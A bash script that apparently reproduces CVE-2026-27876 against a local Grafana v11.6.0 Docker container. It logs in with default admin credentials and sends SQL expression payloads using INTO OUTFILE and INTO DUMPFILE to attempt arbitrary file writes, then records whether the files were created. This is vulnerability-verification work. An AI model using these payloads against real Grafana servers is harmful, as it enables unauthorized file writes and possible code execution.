#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$ARTIFACTS" "$REPRO_DIR"

cd "$ROOT"

echo "=== CVE-2026-27876 Grafana SQL Expressions RCE Reproduction ==="
echo "Vulnerability: Arbitrary file write via SQL INTO clause"
echo "Target Version: Grafana v11.6.0 (vulnerable per CVE)"
echo ""

# Check if Docker is available
if ! command -v docker &> /dev/null; then
    echo "ERROR: Docker is not installed or not in PATH"
    exit 2
fi

if ! docker ps &> /dev/null; then
    echo "ERROR: Docker daemon is not running or user lacks permissions"
    exit 2
fi

# Start Grafana v11.6.0 with sqlExpressions enabled
echo "[1/5] Starting Grafana v11.6.0 with sqlExpressions enabled..."
docker rm -f grafana-cve-test 2>/dev/null || true
sleep 2

docker run -d \
    --name grafana-cve-test \
    -p 127.0.0.1:3000:3000 \
    -e GF_FEATURE_TOGGLES_ENABLE=sqlExpressions \
    grafana/grafana:11.6.0 2>&1 | tee "$LOGS/docker_start.log"

# Wait for Grafana to be ready
echo "[2/5] Waiting for Grafana to start..."
HEALTHY=0
for i in $(seq 1 45); do
    if curl -s http://127.0.0.1:3000/api/health 2>/dev/null | grep -q '"database"'; then
        echo "Grafana is healthy!"
        HEALTHY=1
        break
    fi
    if [ $((i % 5)) -eq 0 ]; then
        echo "  Waiting... ($i/45)"
    fi
    sleep 2
done

if [ $HEALTHY -eq 0 ]; then
    echo "ERROR: Grafana failed to start"
    docker logs grafana-cve-test 2>&1 | tail -20 | tee "$LOGS/grafana_error.log"
    docker rm -f grafana-cve-test 2>/dev/null || true
    exit 2
fi

# Record health check
curl -s http://127.0.0.1:3000/api/health 2>/dev/null | tee "$ARTIFACTS/health_check.json"

# Login via docker exec (more reliable than host networking)
echo "[3/5] Authenticating as admin..."
docker exec grafana-cve-test curl -s -X POST "http://127.0.0.1:3000/login" \
    -H "Content-Type: application/json" \
    -d '{"user":"admin","password":"admin"}' \
    -c "/tmp/cookies.txt" \
    -D "/tmp/login_headers.txt" \
    -o "/tmp/login_response.json" 2>"/tmp/login_stderr.log"

# Copy login artifacts from container
docker cp grafana-cve-test:/tmp/login_response.json "$ARTIFACTS/login_response.json" 2>/dev/null || true
docker cp grafana-cve-test:/tmp/login_headers.txt "$ARTIFACTS/login_headers.txt" 2>/dev/null || true

# Verify login
if ! docker exec grafana-cve-test cat /tmp/login_response.json 2>/dev/null | grep -q "Logged in"; then
    echo "ERROR: Login failed"
    docker exec grafana-cve-test cat /tmp/login_response.json 2>/dev/null || true
    docker rm -f grafana-cve-test 2>/dev/null || true
    exit 2
fi

echo "Login successful"

# Check if sqlExpressions feature is enabled
echo "[4/5] Checking sqlExpressions feature toggle..."
docker exec grafana-cve-test curl -s "http://127.0.0.1:3000/api/frontend/settings" \
    -b "/tmp/cookies.txt" \
    -o "/tmp/frontend_settings.json" 2>/dev/null

docker cp grafana-cve-test:/tmp/frontend_settings.json "$ARTIFACTS/frontend_settings.json" 2>/dev/null || true

if [ -f "$ARTIFACTS/frontend_settings.json" ]; then
    grep -o '"sqlExpressions"[^,]*' "$ARTIFACTS/frontend_settings.json" | tee "$LOGS/feature_toggle.log" || true
fi

# Test SQL Expressions vulnerability
echo "[5/5] Testing SQL Expressions with INTO clause..."
echo ""
echo "Testing various SQL INTO clause payloads..."

# Test 1: Basic INTO OUTFILE
echo "  Test 1: SELECT ... INTO OUTFILE"
docker exec grafana-cve-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
    -H "Content-Type: application/json" \
    -b "/tmp/cookies.txt" \
    -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT 1 as test_col INTO OUTFILE '\''/tmp/cve_test1.txt'\''"}],"from":"now-1h","to":"now"}' \
    -o "/tmp/sql_response1.json" 2>/dev/null

# Test 2: INTO DUMPFILE
echo "  Test 2: SELECT ... INTO DUMPFILE"
docker exec grafana-cve-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
    -H "Content-Type: application/json" \
    -b "/tmp/cookies.txt" \
    -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT 1 INTO DUMPFILE '\''/tmp/cve_test2.txt'\''"}],"from":"now-1h","to":"now"}' \
    -o "/tmp/sql_response2.json" 2>/dev/null

# Test 3: Simple SELECT (should work)
echo "  Test 3: Simple SELECT (control test)"
docker exec grafana-cve-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
    -H "Content-Type: application/json" \
    -b "/tmp/cookies.txt" \
    -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT 1 as test_col"}],"from":"now-1h","to":"now"}' \
    -o "/tmp/sql_response3.json" 2>/dev/null

# Copy all responses
docker cp grafana-cve-test:/tmp/sql_response1.json "$ARTIFACTS/sql_response_into_outfile.json" 2>/dev/null || true
docker cp grafana-cve-test:/tmp/sql_response2.json "$ARTIFACTS/sql_response_into_dumpfile.json" 2>/dev/null || true
docker cp grafana-cve-test:/tmp/sql_response3.json "$ARTIFACTS/sql_response_select_only.json" 2>/dev/null || true

# Display responses
echo ""
echo "=== SQL Expression Responses ==="
echo ""
echo "INTO OUTFILE response:"
cat "$ARTIFACTS/sql_response_into_outfile.json" 2>/dev/null | tee "$LOGS/response1.log"
echo ""
echo "INTO DUMPFILE response:"
cat "$ARTIFACTS/sql_response_into_dumpfile.json" 2>/dev/null | tee "$LOGS/response2.log"
echo ""
echo "SELECT only (control) response:"
cat "$ARTIFACTS/sql_response_select_only.json" 2>/dev/null | tee "$LOGS/response3.log"
echo ""

# Check if files were created
echo "Checking for created files..."
sleep 2
docker exec grafana-cve-test sh -c 'ls -la /tmp/*.txt 2>/dev/null || echo "No .txt files created"' | tee "$LOGS/files_created.log"

# Analyze results
INTO_OUTFILE_RESPONSE=$(cat "$ARTIFACTS/sql_response_into_outfile.json" 2>/dev/null || echo "")
INTO_DUMPFILE_RESPONSE=$(cat "$ARTIFACTS/sql_response_into_dumpfile.json" 2>/dev/null || echo "")
SELECT_RESPONSE=$(cat "$ARTIFACTS/sql_response_select_only.json" 2>/dev/null || echo "")

echo ""
echo "=== Analysis ==="
echo ""

# Check if INTO clauses are being blocked
INTO_BLOCKED=0
if echo "$INTO_OUTFILE_RESPONSE" | grep -qi "blocked.*into\|into.*blocked\|blocked node"; then
    echo "INTO OUTFILE was blocked by security controls"
    INTO_BLOCKED=1
fi
if echo "$INTO_DUMPFILE_RESPONSE" | grep -qi "blocked.*into\|into.*blocked\|blocked node"; then
    echo "INTO DUMPFILE was blocked by security controls"
    INTO_BLOCKED=1
fi

# Check if SELECT works
SELECT_WORKS=0
if echo "$SELECT_RESPONSE" | grep -q '"status":200'; then
    echo "Simple SELECT works correctly (control test passed)"
    SELECT_WORKS=1
fi

# Check for file creation (vulnerability impact)
FILE_CREATED=0
if docker exec grafana-cve-test test -f /tmp/cve_test1.txt 2>/dev/null || \
   docker exec grafana-cve-test test -f /tmp/cve_test2.txt 2>/dev/null; then
    echo "VULNERABILITY CONFIRMED: File was created via SQL INTO clause"
    FILE_CREATED=1
fi

# Determine verdict
echo ""
echo "=== VERDICT ==="
echo ""

if [ $FILE_CREATED -eq 1 ]; then
    echo "CVE-2026-27876: CONFIRMED"
    echo "Arbitrary file write via SQL INTO clause was successful"
    
    # Create runtime manifest
    cat > "$REPRO_DIR/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /api/ds/query with SQL expression INTO clause",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["docker", "grafana:11.6.0"],
  "proof_artifacts": [
    "artifacts/sql_response_into_outfile.json",
    "artifacts/sql_response_into_dumpfile.json",
    "artifacts/sql_response_select_only.json",
    "artifacts/frontend_settings.json",
    "artifacts/login_response.json",
    "logs/files_created.log"
  ],
  "notes": "Arbitrary file write via SQL INTO clause confirmed on Grafana v11.6.0"
}
EOF
    
    docker rm -f grafana-cve-test 2>/dev/null || true
    exit 0
elif [ $INTO_BLOCKED -eq 1 ] && [ $SELECT_WORKS -eq 1 ]; then
    echo "CVE-2026-27876: PATCHED or MITIGATED"
    echo "INTO clauses are being blocked by security controls"
    echo "The vulnerability appears to be patched even though v11.6.0 was claimed vulnerable"
    
    # Check if this might be due to the Docker image being updated
    echo ""
    echo "Note: The Docker image for grafana:11.6.0 may have been updated with"
    echo "a backported security patch, or there may be additional runtime mitigations."
    
    cat > "$REPRO_DIR/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /api/ds/query with SQL expression INTO clause",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["docker", "grafana:11.6.0"],
  "proof_artifacts": [
    "artifacts/sql_response_into_outfile.json",
    "artifacts/sql_response_into_dumpfile.json",
    "artifacts/sql_response_select_only.json",
    "logs/feature_toggle.log"
  ],
  "notes": "INTO clauses were blocked by security allowlist. Vulnerability appears patched in tested Docker image despite CVE claim."
}
EOF
    
    docker rm -f grafana-cve-test 2>/dev/null || true
    exit 1
else
    echo "CVE-2026-27876: INCONCLUSIVE"
    echo "Could not definitively confirm or reject vulnerability"
    echo "INTO_OUTFILE response: $INTO_OUTFILE_RESPONSE"
    echo "INTO_DUMPFILE response: $INTO_DUMPFILE_RESPONSE"
    
    cat > "$REPRO_DIR/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /api/ds/query with SQL expression INTO clause",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["docker", "grafana:11.6.0"],
  "proof_artifacts": [
    "artifacts/sql_response_into_outfile.json",
    "logs/response1.log"
  ],
  "notes": "Results inconclusive - INTO clause neither clearly blocked nor successful"
}
EOF
    
    docker rm -f grafana-cve-test 2>/dev/null || true
    exit 1
fi
